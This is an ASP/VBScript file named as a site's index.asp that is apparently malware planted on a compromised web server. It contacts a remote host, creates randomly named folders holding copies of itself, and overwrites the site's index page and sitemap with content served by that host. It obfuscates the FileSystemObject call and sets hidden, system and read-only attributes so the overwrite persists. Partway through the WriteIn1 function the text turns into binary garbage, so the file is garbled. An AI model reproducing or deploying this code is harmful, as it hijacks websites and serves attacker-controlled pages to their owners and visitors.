%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%
On Error Resume Next
Remote_server="http://www.wutole.com"
directory_Number=8
Server.ScriptTimeOut=99999
dim Branch_directory_1,Branch_directory_2,Branch_directory_3,Branch_directory_4,Branch_directory_5,Branch_directory_6,Branch_directory_7,Branch_directory_8,Branch_directory_9,Branch_directory_10
Branch_directory_1=getCode(Rand(3,4))
Branch_directory_2=getCode(Rand(3,4))
Branch_directory_3=getCode(Rand(3,4))
Branch_directory_4=getCode(Rand(3,4))
Branch_directory_5=getCode(Rand(3,4))
Branch_directory_6=getCode(Rand(3,4))
Branch_directory_7=getCode(Rand(3,4))
Branch_directory_8=getCode(Rand(3,4))
Branch_directory=Branch_directory_1&"."&Branch_directory_2&"."&Branch_directory_3&"."&Branch_directory_4&"."&Branch_directory_5&"."&Branch_directory_6&"."&Branch_directory_7&"."&Branch_directory_8
NewFile_content=a("index.asp")
dim ml,str,Quantity
ml=Request.ServerVariables("HTTP_url")
str= Split(ml,"/")
Quantity=ubound(str)-1
If Quantity<7 and Quantity>0 then
host_name=replace("http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name"),"index.asp","")
New_Branch_directory=""
Branch_directory= Split(Branch_directory,".")
for i=0 to (ubound(Branch_directory))
dirname=Branch_directory(i)
if CFolder(dirname&"/")=1 then
WriteIn1 server.mappath(dirname&"/index.asp"),EnCrypt(NewFile_content)
if New_Branch_directory="" then
New_Branch_directory=dirname
else
New_Branch_directory=New_Branch_directory&"."&dirname
end if
alink="
"&host_name&dirname&"/index.asp"
sitelinks=sitelinks&alink
end if
Next
Remote_directory = Remote_server&"/directory.php"&"?type=index.asp&host="&host_name&"&directory="&New_Branch_directory
Content_directory = getHTTPPage(Remote_directory)
Content_mb=GetHtml(Remote_server&"/index.php"&"?type=index.asp&host="&host_name&"&class="&New_Branch_directory)
if trim(Content_mb)="" then
Content_mb=GetHtml(Remote_server&"/index.php"&"?type=index.asp&host="&host_name&"&class="&New_Branch_directory)
end if
if instr(Content_mb,"tj.js")>0 then
response.write Content_mb
site_mb=GetHtml(Remote_server&"/mb/sitemap.html")
site_mb=replace(site_mb,"{links}",sitelinks)
WriteIn1 Server.mappath("./")&"\sitemap.html",EnCrypt(site_mb)
Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile(Server.MapPath("index.asp"))
if f.attributes = 7 then
f.attributes=32
end if
WriteIn Server.mappath("./")&"\index.asp",EnCrypt(Content_mb)
html_content=a("index.asp")
if trim(html_content)="" then
WriteIn Server.mappath("./")&"\index.asp",EnCrypt(NewFile_content)
else
f.attributes = 7
end if
response.end()
end if
Else
Content_mb=GetHtml(Remote_server&"/index.php"&"?type=index.asp&host="&host_name)
if trim(Content_mb)="" then
Content_mb=GetHtml(Remote_server&"/index.php"&"?type=index.asp&host="&host_name)
end if
if instr(Content_mb,"tj.js")>0 then
Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile(Server.MapPath("index.asp"))
if f.attributes = 7 then
f.attributes=32
end if
WriteIn Server.MapPath("./")&"\index.asp",EnCrypt(Content_mb)
if f.attributes <> 7 then
f.attributes = 7
end if
response.end()
end if
End if 'all
Function getCode(iCount)
Dim arrChar
Dim j,k,strCode
arrChar = "012qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM3456789"
k=Len(arrChar)
Randomize
For i=1 to iCount
j=Int(k * Rnd )+1
strCode = strCode & Mid(arrChar,j,1)
Next
getCode = strCode
End Function
Function Digital(iCount)
Dim arrChar
Dim j,k,strCode
arrChar = "0123456789"
k=Len(arrChar)
Randomize
For i=1 to iCount
j=Int(k * Rnd )+1
strCode = strCode & Mid(arrChar,j,1)
Next
Digital = strCode
End Function
Function sj_int(ByVal min, ByVal max)
Randomize(Timer) : sj_int = Int((max - min + 1) * Rnd + min)
End Function
Function Rand(ByVal min, ByVal max)
Randomize(Timer) : Rand = Int((max - min + 1) * Rnd + min)
End Function
function WriteIn1(testfile,msg)
dim fs,thisfile
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.CreateTextFile(testfile,True)
for i=0 to 1
thisfile.Write DeCryᚉFXZt*F,іQA]1Luj[E »$IgwF&Xn\j?V(l|$Gѝzpn^j7fK/^'Q.Rs64"d\Mz%sY@ߑnQ,rP~#i*y{iѣߜҿ$}ЮѫyG#vq\゚]1ooR?Юu/kL|> fEx!5P#M}3Գ^
?K(ofL͘(7
'u4*9;4~#UIJAQ,ފ@j=Icn_nق.rxu#ZlT)j\:QLU%Ȑ5.3)bqAր#`h^xP+ohN#&59.
/V۩x_HOKǗhui'6o{@
:Ѝl =8ܨqgcNmgJ\\RwX+Ttrشj1%f`"40kٜ?^vϷUyTOn f[V/Ks8}s=@ʫPNaiN)]k郙~xM)J*`$IAjNKQ[(jpZpt'6Y64KNd&`y85 W6e]$j/GenPΩ7u7Rd&Ϟ--E֭.Þϙ1SMho0)RRΥ^5g\z~h
١ET;TԬh"l,q9a).nR}MW%eW3ȻԼON3teJ.OD5Jf*ۓDWxijZ
1٢ܖD4WQH9,)$-\i?]Ǵ%rg![w[ZVRB^|g|Ą5I5́;a `YLJ7g#"ow^k^4߉e,AzL ي^gLx.(:om
x@8%5vfF,*T,VFD,mM>ǏSPZsmqs
{JJX^BM8:Wo/ӓ|h?(k"!)j<4zB {
&9D5ZYk)oq=t#hD^mwƞ/˖J:6aRsh%:O;g[Hq]m?MFXti6ɑJc{2ݣLeOIڛ.i1''5jsZv~ ;D QxtN#zIYz<72j#S.xex2^7csHك9>'K|9Z@a,$d1$M=
}n8SEF/&NvAViѳXƚycA9N^£twՏ'Jw{ RgcuJMZĦ{$g/cgv;-oWȓM٬mZgRe|0jgѷݡmVLCR)pVlg_}#^a`{ѥ
v3z2*RՓVS=8~GW*^+A*3BoV+:J1ҁ})L=4
d^ZŴut?"&V`#n-,|{}TO{6#[=z=x4rzd`˫hȗݓ
ȿJe#ky~Z#ޭIo
l*[ NU7reTDb:kAjzkP`[Dag^{5lbIxbb>c+HڮyX-
_c9s{uu͑u/}q{4,dnlZdteSJlaWEǠR~̨)ioO>)#sUK3gM\0,³0:)ZI9!
ҳUKzJُx}UКUi
ɟD(|6Iz=k%>ێ
ǨU|ձyl3m5](֧wۋWySO4O[ptWtϢV4,~^-WwXJRjqv#.jn3ngo x8Qyxy}ך(د4}XA[(ٖӶ,96ٮLV/{R5*n&7-ޘ@+9ns
YOI=p)&wօ+;J΅clH
ʡqMh<'eD5h)[YUviWGn.w"jغƝÑk1uzΛNt;8;r8)ٹ-),J*CAXxBvZ%iVf~gb%>'ms2y$flΝ-
gqY,u7#ZjNZ
E;#\ȼMνʦ(^q=jw4^A~-o,,;vd>9Te鋎f<ʕ.2e潖M|k
,V[:i囇gT{|m֢یp̝K&y3nѽÖ`M" ش;pcɧ_]G)R`L[5^Ɣc!/-l9h$dߩFo$9pQY[Z-\kVc[ՂVrW]hq\נF %͎8R\6KU=uL4kq7AJ3sfz-_f5*flʰ,&FZ{5B~Z>BmܭzT9AMBlVU5v%Αk|roH6gI)'Z313q0Κ#ݬվLzn5
3O+l#UdK\fM
$cP^I1ߺ443K9Uн럡kܗHܣY9wД9.*gaȺL>(4֨(89)Ɵho[ᱣW9pFR32iV
[hU*&+U{n=cL:j7Hב̛]
~h;.gbniNҦI/#rk#V4+`Fe3 Et|01fR{\Cؓcj7j!gshe ۢ]虝zhmK~crEsbst煨\ٕi&doy˴-M3^KZRψ["3&B!Ͼ
zf'cEV==enf/ШDWy#QM3k_
ηu|%G'2frs5t~BG[JQ{86^%'Cz^e5mf#Σ?3_) _ E W9ofy|id3AcfZ5c{h址5=gif1UϘGֈ;Ù
-eݣ65%n}D3PfrXw5j~_۬٤Cz-Fg+Ie8ϩ o`wgI`{\y
\4Gdk)RrAWi ^/_{]Ggcd-}}ثuc<v0n
<8vj?yݰCoY|ݑ@|ެ(ƽ4Wݨo*YqbB+ZZ!/
Z
/4iS4sZdq5טK^Sר0ɭ/kG=BD=x^3|0ʍv2IfUFCf۔V_d\%339XLh(jYD7K4s)u=٫aoV./FmrwC4(:KtLGLi!>=fGu"(8Bckm-uSiQQqI2}g~Ɏo⑸ݕe^`P"NL,` $nsEkj4%t5FCLcDCKû\bGb0Y4[iUgdL;Uq`,ˤY=Ul||HMɫ8l\dH^|Y^xzR W Ԅ#C&b2=n}74=7+miȺ@PcC$~;l^{Qxgv[ڥ5FEvV䶶W~5xxAkI R@egv}Hqe"\Gu fs%cm7bU